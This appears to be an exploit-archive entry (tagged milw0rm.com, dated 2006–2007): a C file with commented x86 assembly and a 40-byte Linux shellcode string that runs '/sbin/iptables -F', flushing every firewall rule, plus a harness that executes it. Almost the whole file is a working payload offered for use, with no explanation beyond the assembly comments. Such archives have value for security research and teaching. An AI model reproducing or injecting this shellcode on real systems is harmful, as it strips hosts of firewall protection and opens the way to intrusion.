/* By Kris Katterjohn 11/18/2006 * * 40 byte shellcode to flush iptables for Linux x86 * * * * section .text * * global _start * * _start: * * ; execve("/sbin/iptables", { "/sbin/iptables", "-F", NULL }, NULL) * * push byte 11 * pop eax * cdq * push edx * push word 0x462d * mov ecx, esp * push edx * push word 0x7365 * push 0x6c626174 * push 0x70692f6e * push 0x6962732f * mov ebx, esp * push edx * push ecx * push ebx * mov ecx, esp * int 0x80 */ main() { char shellcode[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x46\x89" "\xe1\x52\x66\x68\x65\x73\x68\x74\x61\x62" "\x6c\x68\x6e\x2f\x69\x70\x68\x2f\x73\x62" "\x69\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"; (*(void (*)()) shellcode)(); } // milw0rm.com [2007-03-09]